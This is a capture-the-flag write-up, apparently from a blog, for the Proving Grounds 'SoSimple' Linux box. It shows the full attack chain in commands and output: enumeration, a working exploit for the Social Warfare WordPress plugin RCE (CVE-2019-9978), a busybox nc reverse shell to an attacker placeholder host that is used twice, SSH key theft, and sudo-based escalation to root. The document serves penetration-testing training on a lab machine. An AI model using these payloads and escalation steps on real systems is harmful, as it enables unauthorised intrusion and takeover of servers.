Skip to content
HackIndex logo

HackIndex

SoSimple Writeup - Proving Grounds

Medium Linux

Last updated May 10, 2026 3 min read

Joshua

HackIndex Creator

Discovery

Two open TCP ports: SSH on 22 and HTTP on 80. The Apache server on Ubuntu hosts a page titled So Simple. Directory enumeration with a large wordlist finds a single path worth pursuing: /wordpress/.

┌──(kali㉿kali)-[~]
└─$ scan_tcp_full $TARGET_IP
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: So Simple
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u "http://$TARGET_IP" -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt --random-agent -b 404,403
wordpress  (Status: 301) [--> http://192.168.152.78/wordpress/]

Enumeration

WPScan against the WordPress install identifies version 5.4.2, two users (admin and max), and two plugins. The Social Warfare plugin is version 3.5.0 — vulnerable to an unauthenticated RCE via its settings import endpoint (CVE-2019-9978, fixed in 3.5.3).

┌──(kali㉿kali)-[~]
└─$ wpscan --url http://$TARGET_IP/wordpress -e ap,t,tt,u --random-user-agent
[+] WordPress version 5.4.2 identified

[+] social-warfare
 | Version: 3.5.0 (100% confidence)
 | [!] The version is out of date, the latest version is 4.5.6

[+] Users Identified:
[+] admin
[+] max

Initial Access

Social Warfare RCE (CVE-2019-9978)

The vulnerability triggers when visiting /wp-admin/admin-post.php?swp_debug=load_options&swp_url= with a URL pointing to an attacker-controlled payload file. The plugin fetches and processes the file without authentication. The payload file must contain a PHP system call wrapped in <pre> tags.

Host a payload file on the attacker machine:

<pre>system('busybox nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash')</pre>
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 1234
┌──(kali㉿kali)-[~]
└─$ # Then trigger:
┌──(kali㉿kali)-[~]
└─$ curl 'http://$TARGET_IP/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://$ATTACKER_IP:1234/payload.txt'
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
connect to [192.168.45.177] from (UNKNOWN) [192.168.152.78]
www-data@so-simple:/var/www/html/wordpress$

Lateral Movement — SSH Key in max's Home

Browsing max's home directory reveals a nested directory structure containing an SSH private key at this/is/maybe/the/way/to/a/private_key/id_rsa. The key is world-readable. Copy it locally and SSH in as max:

user@host ~ $ find /home/max/this -type f -ls
16069  4 -rw-rw-r--  1 max  max  1441 Jul 12 2020 this/is/maybe/the/way/to/a/private_key/id_rsa
┌──(kali㉿kali)-[~]
└─$ ssh max@$TARGET_IP -i key
max@so-simple:~$

Privilege Escalation

max → steven via sudo service

Max can run /usr/sbin/service as steven without a password. GTFOBins documents that service passes its second argument directly to exec(), allowing shell escape via path traversal:

user@host ~ $ sudo -u steven /usr/sbin/service ../../bin/sh
$ whoami
steven

steven → root via missing sudo script

Steven can run /opt/tools/server-health.sh as root without a password — but the file and its parent directory don't exist yet. Create the directory and the script, then execute it:

user@host ~ $ sudo -l
user@host ~ $ mkdir /opt/tools
user@host ~ $ echo 'busybox nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash' > /opt/tools/server-health.sh
user@host ~ $ chmod +x /opt/tools/server-health.sh
user@host ~ $ sudo -u root /opt/tools/server-health.sh
User steven may run the following commands on so-simple:
    (root) NOPASSWD: /opt/tools/server-health.sh
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
connect to [192.168.45.177] from (UNKNOWN) [192.168.152.78]
# whoami
root

Root shell obtained via a two-step lateral movement chain.

References